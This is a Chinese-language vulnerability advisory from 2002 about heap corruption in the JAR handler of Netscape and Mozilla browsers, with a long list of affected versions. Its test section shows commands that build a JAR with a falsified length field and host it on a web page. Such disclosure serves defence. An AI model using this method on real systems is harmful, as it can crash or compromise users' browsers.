|
|
Netscape/Mozilla JAR存在远程堆破坏漏洞
发布时间：2002-11-22
更新时间：2002-11-22
严重程度：高
威胁程度：普通用户访问权限
错误类型：边界检查错误
利用方式：客户机模式
BUGTRAQ ID：6185
受影响系统Mozilla Browser 0.9.6
- Apple MacOS 9.0
- Apple MacOS 9.1
- Apple MacOS 9.2
- Be BeOS 5.0
- BSDI BSD/OS 4.2
- Compaq OpenVMS 7.1 -2 Alpha
- Compaq OpenVMS 7.2 -2 Alpha
- Compaq OpenVMS 7.3 Alpha
- FreeBSD FreeBSD 4.0
- IBM AIX 4.3.3
- Microsoft Windows 2000 Workstation
- Microsoft Windows 2000 Workstation SP1
- Microsoft Windows 2000 Workstation SP2
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows ME
- Microsoft Windows NT 4.0
- Microsoft Windows NT 4.0 SP1
- Microsoft Windows NT 4.0 SP2
- Microsoft Windows NT 4.0 SP3
- Microsoft Windows NT 4.0 SP4
- Microsoft Windows NT 4.0 SP5
- Microsoft Windows NT 4.0 SP6
- Microsoft Windows NT 4.0 SP6a
- RedHat Linux 6.0
- RedHat Linux 6.0 alpha
- RedHat Linux 6.0 sparc
- RedHat Linux 7.0 alpha
- RedHat Linux 7.0 i386
- RedHat Linux 7.0 sparc
- SGI IRIX 6.5
- Sun Solaris 2.7
- Sun Solaris 2.8
Mozilla Browser 0.9.7
- Apple MacOS 9.0
- Apple MacOS 9.0.4
- Apple MacOS 9.1
- Apple MacOS 9.2
- Apple MacOS 9.2.1
- Apple MacOS X 10.0
- Apple MacOS X 10.0.1
- Apple MacOS X 10.0.2
- Apple MacOS X 10.0.3
- Apple MacOS X 10.0.4
- Apple MacOS X 10.1
- Apple MacOS X 10.1.1
- Apple MacOS X 10.1.2
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows ME
- Microsoft Windows NT 4.0
- Microsoft Windows NT 4.0 SP1
- Microsoft Windows NT 4.0 SP2
- Microsoft Windows NT 4.0 SP3
- Microsoft Windows NT 4.0 SP4
- Microsoft Windows NT 4.0 SP5
- Microsoft Windows NT 4.0 SP6a
- Microsoft Windows XP
Mozilla Browser 0.9.8
- Apple MacOS 9.0
- Apple MacOS 9.0.4
- Apple MacOS 9.1
- Apple MacOS 9.2
- Apple MacOS 9.2.1
- Apple MacOS 9.2.2
- Apple MacOS X 10.0
- Apple MacOS X 10.0.1
- Apple MacOS X 10.0.2
- Apple MacOS X 10.0.3
- Apple MacOS X 10.0.4
- Apple MacOS X 10.1
- Apple MacOS X 10.1
- Apple MacOS X 10.1.1
- Apple MacOS X 10.1.2
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows ME
- Microsoft Windows NT 4.0
- Microsoft Windows NT 4.0 SP1
- Microsoft Windows NT 4.0 SP2
- Microsoft Windows NT 4.0 SP3
- Microsoft Windows NT 4.0 SP4
- Microsoft Windows NT 4.0 SP5
- Microsoft Windows NT 4.0 SP6
- Microsoft Windows NT 4.0 SP6a
- Microsoft Windows XP
Mozilla Browser 0.9.9
- FreeBSD FreeBSD 4.1.1
- FreeBSD FreeBSD 4.2
- FreeBSD FreeBSD 4.3
- FreeBSD FreeBSD 4.4
- FreeBSD FreeBSD 4.5
+ RedHat Linux 7.2
+ RedHat Linux 7.2 i386
+ RedHat Linux 7.2 i586
+ RedHat Linux 7.2 i686
+ RedHat Linux 7.3
+ RedHat Linux 7.3 i386
Mozilla Browser 1.0
+ MandrakeSoft Linux Mandrake 8.2
+ MandrakeSoft Linux Mandrake 8.2 ppc
+ RedHat Linux 8.0
+ RedHat Linux 8.0 i386
Mozilla Browser 1.0.1
Mozilla Browser 1.1
Netscape Netscape 6.2
- Apple MacOS 9.0
- Apple MacOS 9.0.4
- Apple MacOS 9.1
- Apple MacOS 9.2
- Apple MacOS 9.2.1
- Apple MacOS X 10.0
- Apple MacOS X 10.0.1
- Apple MacOS X 10.0.2
- Apple MacOS X 10.0.3
- Apple MacOS X 10.0.4
- Apple MacOS X 10.1
- Apple MacOS X 10.1.1
- Apple MacOS X 10.1.2
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows ME
- Microsoft Windows NT 4.0
- Microsoft Windows NT 4.0 SP1
- Microsoft Windows NT 4.0 SP2
- Microsoft Windows NT 4.0 SP3
- Microsoft Windows NT 4.0 SP4
- Microsoft Windows NT 4.0 SP5
- Microsoft Windows NT 4.0 SP6a
- Microsoft Windows XP
Netscape Netscape 6.2.1
- Apple MacOS 9.0
- Apple MacOS 9.0.4
- Apple MacOS 9.1
- Apple MacOS 9.2
- Apple MacOS 9.2.1
- Apple MacOS X 10.0
- Apple MacOS X 10.0.1
- Apple MacOS X 10.0.2
- Apple MacOS X 10.0.3
- Apple MacOS X 10.0.4
- Apple MacOS X 10.1
- Apple MacOS X 10.1.1
- Apple MacOS X 10.1.2
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows ME
- Microsoft Windows NT 4.0
- Microsoft Windows NT 4.0 SP1
- Microsoft Windows NT 4.0 SP2
- Microsoft Windows NT 4.0 SP3
- Microsoft Windows NT 4.0 SP4
- Microsoft Windows NT 4.0 SP5
- Microsoft Windows NT 4.0 SP6a
- Microsoft Windows XP
Netscape Netscape 6.2.2
Netscape Netscape 6.2.3
Netscape Netscape 7.0 详细描述
Netscape和Mozilla浏览器使用的JAR URI处理器存在漏洞。通过构建包含非法文件长度信息的JAR文件，可使有漏洞浏览器产生堆破坏。
当客户端浏览器解压恶意JAR文件时，非法值会用于分配缓冲区来存储数据，没有没有进行任何检查，所以过多的数据解压时可导致堆破坏。
测试代码
建立如下test.gif 文件：
0x2d6e657a,0x65726568,
0x00000000,0x00000000,
0xdeadbeef,0xfee1600d
$ zip orig.jar test.gif
adding: test.gif (deflated 17%)
$ unzip -v orig.jar
Archive: orig.jar
Length Method Size Ratio Date Time CRC-32 Name
-------- ------ ------- ----- ---- ---- ------ ----
24 Defl:N 20 17% 07-08-02 16:11 b74deafe test.gif
-------- ------- --- -------
24 20 17% 1 file
$ sed s/`printf '\x18'`/`printf '\x01'`/g orig.jar >new.jar
$ unzip -v new.jar
Archive: new.jar
Length Method Size Ratio Date Time CRC-32 Name
-------- ------ ------- ----- ---- ---- ------ ----
1 Defl:N 20 -1900% 07-08-02 16:11 b74deafe test.gif
-------- ------- --- -------
1 20 -1900% 1 file
$ cp new.jar ~/public_html
解决方案
尚无
相关信息
参考：http://online.securityfocus.com/archive/1/299837
|
